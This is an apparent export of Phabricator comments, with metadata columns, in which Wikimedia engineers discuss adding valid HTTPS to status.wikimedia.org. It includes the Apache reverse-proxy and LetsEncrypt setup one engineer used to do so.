9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464907980,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,5.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,4.333333333333333,10.666666666666666,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,2.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,17.0,0.0,1.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,0.6666666666666666,6.666666666666667,1.0,1.3333333333333333,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,1.3333333333333333,0.0,2.3333333333333335,10.666666666666666,3.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.6666666666666667,2.3333333333333335,0.3333333333333333,2.0,0.0,0.0,1.0,3.9141350210970463,0.7614978902953586,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local CODE user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
``CODE`CODE`CODE`CODE`CODE``
9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary."
673683,status.wikimedia.org has no (valid) HTTPS,"I've moved the stats.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local `acme` user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
```
lines=20
# vim: filetype=apache

<VirtualHost *:80>
	ServerAdmin noc@wikimedia.org
        ServerName status.wikimedia.org

	SSLEngine off
	
	RewriteEngine on
	RewriteCond %{SERVER_PORT} !^443$
	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel warn

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
<VirtualHost *:443>
	ServerAdmin noc@wikimedia.org 
	ServerName status.wikimedia.org

        SSLEngine on
        SSLCertificateFile /etc/acme/cert/status.chained.crt
        SSLCertificateKeyFile /etc/acme/key/status.key
  	SSLProtocol all -SSLv2 -SSLv3
	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
	SSLHonorCipherOrder On
	Header always set Strict-Transport-Security ""max-age=31536000""

	<Location />
		ProxyPass ""http://status.asm.ca.com/8777/""
		ProxyPassReverse ""http://status.asm.ca.com/8777/""
		#ProxyPreserveHost On
		RequestHeader unset Accept-Encoding
		Header always set Content-Security-Policy upgrade-insecure-requests
		ProxyHTMLEnable On
		ProxyHTMLExtended On
		ProxyHTMLLinks	a		href
		ProxyHTMLLinks	area		href
		ProxyHTMLLinks	link		href
		ProxyHTMLLinks	img		src longdesc usemap
		ProxyHTMLLinks	object		classid codebase data usemap
		ProxyHTMLLinks	q		cite
		ProxyHTMLLinks	blockquote	cite
		ProxyHTMLLinks	ins		cite
		ProxyHTMLLinks	del		cite
		ProxyHTMLLinks	form		action
		ProxyHTMLLinks	input		src usemap
		ProxyHTMLLinks	head		profile
		ProxyHTMLLinks	base		href
		ProxyHTMLLinks	script		src for
		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
   		ProxyHTMLURLMap http:// https:// [i]
		SetOutputFilter proxy-html
	</Location>
        <Location /.mongocache>
		ProxyPass ""http://mongocache.asm.ca.com/""
		ProxyPassReverse ""http://mongocache.asm.ca.com/""
        </Location>

	<Location /.well-known/acme-challenge>
		ProxyPass ""!""
	</Location>

	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
	<IfVersion >= 2.4>
    	<Directory ""/var/acme/challenge"">
       		Require all granted
    	</Directory>
	</IfVersion>

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel debug

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
```
6. Ran the initial acme-setup for self-signed:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
7. Reloaded apache2
8. Re-run to get a real cert:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464907714,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,5.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,4.333333333333333,10.666666666666666,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,2.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,17.0,0.0,1.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,0.6666666666666666,6.666666666666667,1.0,1.3333333333333333,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,1.3333333333333333,0.0,2.3333333333333335,10.666666666666666,3.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.6666666666666667,2.3333333333333335,0.3333333333333333,2.0,0.0,0.0,1.0,3.90996835443038,0.7614978902953586,"I've moved the stats.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local CODE user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
``CODE`CODE`CODE`CODE`CODE``
9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary."
673599,status.wikimedia.org has no (valid) HTTPS,"Change 292482 merged by BBlack:
status -> wikitech-static hosting T34796

[[https://gerrit.wikimedia.org/r/292482]]",,,1464902503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,False,,,144,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.8095238095238093,0.8571428571428571,"Change 292482 merged by BBlack:
status -> wikitech-static hosting T34796

[[GERRIT_URL]]"
673598,status.wikimedia.org has no (valid) HTTPS,"Change 292482 had a related patch set uploaded (by BBlack):
status -> wikitech-static hosting T34796

[[https://gerrit.wikimedia.org/r/292482]]
",,,1464902456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,False,,,144,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,3.7142857142857144,0.8571428571428571,"Change 292482 had a related patch set uploaded (by BBlack):
status -> wikitech-static hosting T34796

[[GERRIT_URL]]
"
661559,status.wikimedia.org has no (valid) HTTPS,"it's ok, we can just copy down the acme-setup script as it exists today (well, and acme-tiny).  for a 1-2 cert setup like this, it's not hard to use it puppet-free from cron I think.",,,1463092717,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,11.0,11.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.792452830188679,0.7735849056603774,"it's ok, we can just copy down the acme-setup script as it exists today (well, and acme-tiny).  for a 1-2 cert setup like this, it's not hard to use it puppet-free from cron I think."
661558,status.wikimedia.org has no (valid) HTTPS,"Yes, we should. Unfortunately wikitech-static might be a pain since it does not use puppet (and for obvious reasons cannot reach the production puppetmaster). :/",,,1463092635,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,3.0,6.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.151515151515151,0.9393939393939394,"Yes, we should. Unfortunately wikitech-static might be a pain since it does not use puppet (and for obvious reasons cannot reach the production puppetmaster). :/"
661553,status.wikimedia.org has no (valid) HTTPS,"Also note: while in there, should convert wikitech-static to cron'd letsencrypt (using our prod script!), and then use that for the status.wm.o cert as well.",,,1463092375,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,12.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.911764705882353,0.9705882352941176,"Also note: while in there, should convert wikitech-static to cron'd letsencrypt (using our prod script!), and then use that for the status.wm.o cert as well."
661549,status.wikimedia.org has no (valid) HTTPS,"Yeah I tend to agree too.  I think if we're concerned at all about status.wm.o perf during outages, we could probably also tack on a secondary task to extend the apache config there to use mod_cache and cache the status with a 1 or 5 minute TTL and cut down on the revproxying load.

There's an upside, too, in that our revproxy will help anonymize clients of stats.wm.o against watchmouse/CA privacy invasion :)",,,1463092324,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,6.0,1.0,8.0,18.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,2.0,4.0,7.0,0.0,1.0,0.0,0.0,8.0,1.0,2.0,0.0,6.0,18.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.059523809523809,0.8452380952380952,"Yeah I tend to agree too.  I think if we're concerned at all about status.wm.o perf during outages, we could probably also tack on a secondary task to extend the apache config there to use mod_cache and cache the status with a 1 or 5 minute TTL and cut down on the revproxying load.

There's an upside, too, in that our revproxy will help anonymize clients of stats.wm.o against watchmouse/CA privacy invasion :)"
661215,status.wikimedia.org has no (valid) HTTPS,"Option (3) sounds like the easiest way forward to me and an acceptable option. My only concern would be whether it could handle a surge of traffic (the kind of traffic it'd see when we're down at some point). I don't think we advertise the status page much, so I wouldn't expect it to. I don't think we have or could get any access statistics for it right now, but having it be frontend by infrastructure we control could allow us to, which is another plus. If we do this move, let's at least set up some logging and/or monitoring for it and check it during the next outage :)

Longer-term I think we should overhaul that whole status page. This is currently backed by Watchmouse which isn't very accurate (or pretty). We could either use some external status page service (statuspage.io etc.) or (my preference) build something ourselves using e.g. wikitech-static or some other externally-hosted infrastructure. Something like [[ https://github.com/cachethq/cachet | Cachet ]] could be reused for this to save us from all the frontend trouble.

But all of that can wait; for the purposes of this task (HTTPS support), option (3) is a good compromise, IMHO.",,,1463070849,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,3.0,0.6666666666666666,0.3333333333333333,1.0,1.3333333333333333,4.666666666666667,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,6.0,0.3333333333333333,4.666666666666667,9.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.333333333333333,2.0,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,11.666666666666666,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,3.3333333333333335,2.3333333333333335,6.0,1.3333333333333333,4.0,8.666666666666666,0.0,0.3333333333333333,0.0,0.0,6.0,0.0,0.0,0.0,8.666666666666666,9.0,2.0,0.0,0.0,0.0,8.666666666666666,0.0,1.0,1.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,2.3333333333333335,3.7886178861788617,0.7764227642276422,"Option (3) sounds like the easiest way forward to me and an acceptable option. My only concern would be whether it could handle a surge of traffic (the kind of traffic it'd see when we're down at some point). I don't think we advertise the status page much, so I wouldn't expect it to. I don't think we have or could get any access statistics for it right now, but having it be frontend by infrastructure we control could allow us to, which is another plus. If we do this move, let's at least set up some logging and/or monitoring for it and check it during the next outage :)

Longer-term I think we should overhaul that whole status page. This is currently backed by Watchmouse which isn't very accurate (or pretty). We could either use some external status page service (statuspage.io etc.) or (my preference) build something ourselves using e.g. wikitech-static or some other externally-hosted infrastructure. Something like [[ URL | Cachet ]] could be reused for this to save us from all the frontend trouble.

But all of that can wait; for the purposes of this task (HTTPS support), option (3) is a good compromise, IMHO."
656959,status.wikimedia.org has no (valid) HTTPS,"In the settings, we can see that http://status.wikimedia.org/ is also available at http://status.asm.ca.com/8777 .  There don't appear to be any TLS-related settings :(

We could do a few things trivially, which have un-ideal tradeoffs, but might be acceptable:
1. We could set up a revproxy for it internally, on perhaps a ganeti misc web node?  Then it would TLS'd as part of the misc cluster, but it won't be available if any of several parts of our infra are in trouble, which is probably when we want it the most.
2. We could set up a static page for it on the misc cluster (via varnish synthesis), which simply links to (or does a slow HTML refresh to?) the http://status.asm.ca.com/8777 .  At least then people could bookmark the real thing independent of our infra, and it would rely on less of our infra (just authdns + LVS + cache_misc, and be DC-independent).
3. We could host a revproxy as in (1) above, but externally like we do for https://wikitech-static.wikimedia.org/ (perhaps even on the same host?).",,,1462411054,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,140,True,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,6.333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,7.0,10.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,3.0,0.3333333333333333,2.0,0.0,0.0,0.3333333333333333,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,9.333333333333334,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,4.666666666666667,2.3333333333333335,6.333333333333333,0.6666666666666666,3.3333333333333335,6.666666666666667,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,6.0,10.0,4.0,1.0,0.0,0.0,6.0,0.0,1.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,3.3450573861532766,0.7634826607429348,"In the settings, we can see that URL is also available at URL .  There don't appear to be any TLS-related settings :(

We could do a few things trivially, which have un-ideal tradeoffs, but might be acceptable:
1. We could set up a revproxy for it internally, on perhaps a ganeti misc web node?  Then it would TLS'd as part of the misc cluster, but it won't be available if any of several parts of our infra are in trouble, which is probably when we want it the most.
2. We could set up a static page for it on the misc cluster (via varnish synthesis), which simply links to (or does a slow HTML refresh to?) the URL .  At least then people could bookmark the real thing independent of our infra, and it would rely on less of our infra (just authdns + LVS + cache_misc, and be DC-independent).
3. We could host a revproxy as in (1) above, but externally like we do for URL (perhaps even on the same host?)."
646279,status.wikimedia.org has no (valid) HTTPS,"The actual blocker for 2. was that Catchpoint was able to replace almost all features of Watchmouse, _except_ that it doesn't have that kind of status page. So maybe an option is also keep poking them about that, argueing that we pay them quite a bit already.",,,1460689535,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,137,True,2.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,11.0,16.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,7.0,7.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,16.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,3.8727272727272726,0.8,"The actual blocker for 2. was that Catchpoint was able to replace almost all features of Watchmouse, _except_ that it doesn't have that kind of status page. So maybe an option is also keep poking them about that, argueing that we pay them quite a bit already."
646256,status.wikimedia.org has no (valid) HTTPS,"They might also have the option to simply use a hostname within their domains rather than bothering with another name of ours.  e.g. configuring it as `wikimedia.status.asm.ca.com` and calling that the official name.  After all this is supposed to be independent of our infrastructure.  Ideally that would include our authdns, too.",,,1460678054,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,137,True,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,10.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,3.0,7.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,17.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,4.338983050847458,0.8135593220338984,"They might also have the option to simply use a hostname within their domains rather than bothering with another name of ours.  e.g. configuring it as CODE and calling that the official name.  After all this is supposed to be independent of our infrastructure.  Ideally that would include our authdns, too."
646234,status.wikimedia.org has no (valid) HTTPS,"Considering that watchmouse's own status pages, e.g. http://status.cloudmonitor.ca.com/ and http://stations.status.cloudmonitor.ca.com/ don't offer HTTPS at all (connection refused on 443), I doubt we'll get far with asking for it for our status site.

The current importance of this is that it's likely to be the very very last thing (there's one other pending, but it can be solved relatively easily) preventing us from doing a blanket STS-preload for all of wikimedia.org, which is a big deal.

Basic options that come to mind in a few minutes:

1. Talk to watchmouse, see if there's any way they can HTTPS this with a legit cert, like we've done with other 3rd party vendors (where we purchase the cert and hand them the key securely).  Seems unlikely, but worth a shot!
2. Cancel/Replace this service? I don't know that we have an equivalent replacement anywhere, but this option was mentioned once before!  If replacing it means spending a long time looking for a new replacement service and setting that up first, that sucks timeline-wise.
3. Move it to another domain.  We could move the CNAME to some other domain we own that we're not trying to STS-preload, like say `status.wmftest.net` or something.  We could support the old name (transitionally, but not as the advertised name, because it might not work when our infra is down!) by having status.wikimedia.org map to one of the prod varnish clusters securely and generate a 301 -> the new hostname.",,,1460674881,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,137,True,1.25,0.25,0.5,0.5,1.5,5.25,0.75,0.25,0.0,0.5,0.75,1.25,0.0,0.0,0.5,3.5,0.5,6.0,8.5,0.25,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.25,1.5,0.25,0.25,5.0,1.25,1.5,0.5,0.0,0.25,0.25,0.0,0.75,0.0,0.5,0.25,1.25,0.0,0.0,0.0,0.25,0.5,10.0,0.5,1.5,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.5,1.25,0.0,0.5,0.0,0.25,0.0,5.0,1.5,5.5,2.25,2.5,7.75,0.0,0.0,0.75,0.0,4.5,0.25,1.5,0.0,5.75,8.5,1.5,0.25,0.0,0.0,5.75,0.0,1.25,2.25,0.5,2.75,0.0,0.0,1.25,3.7628508771929825,0.8085964912280702,"Considering that watchmouse's own status pages, e.g. URL and URL don't offer HTTPS at all (connection refused on 443), I doubt we'll get far with asking for it for our status site.

The current importance of this is that it's likely to be the very very last thing (there's one other pending, but it can be solved relatively easily) preventing us from doing a blanket STS-preload for all of wikimedia.org, which is a big deal.

Basic options that come to mind in a few minutes:

1. Talk to watchmouse, see if there's any way they can HTTPS this with a legit cert, like we've done with other 3rd party vendors (where we purchase the cert and hand them the key securely).  Seems unlikely, but worth a shot!
2. Cancel/Replace this service? I don't know that we have an equivalent replacement anywhere, but this option was mentioned once before!  If replacing it means spending a long time looking for a new replacement service and setting that up first, that sucks timeline-wise.
3. Move it to another domain.  We could move the CNAME to some other domain we own that we're not trying to STS-preload, like say CODE or something.  We could support the old name (transitionally, but not as the advertised name, because it might not work when our infra is down!) by having status.wikimedia.org map to one of the prod varnish clusters securely and generate a 301 -> the new hostname."
549473,status.wikimedia.org has no (valid) HTTPS,">>! In T34796#1737605, @hashar wrote:
> Do we really care of having `status.wikimedia.org` to be served over TLS? 

yes

but that doesn't mean i have the solution how to fix it since it's on watchmouse's servers",,,1445386998,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,112,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,8.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,0.8461538461538461,"QUOTE
QUOTE

yes

but that doesn't mean i have the solution how to fix it since it's on watchmouse's servers"
549472,status.wikimedia.org has no (valid) HTTPS,">>! In T34796#1737605, @hashar wrote:
> Do we really care of having `status.wikimedia.org` to be served over TLS? 

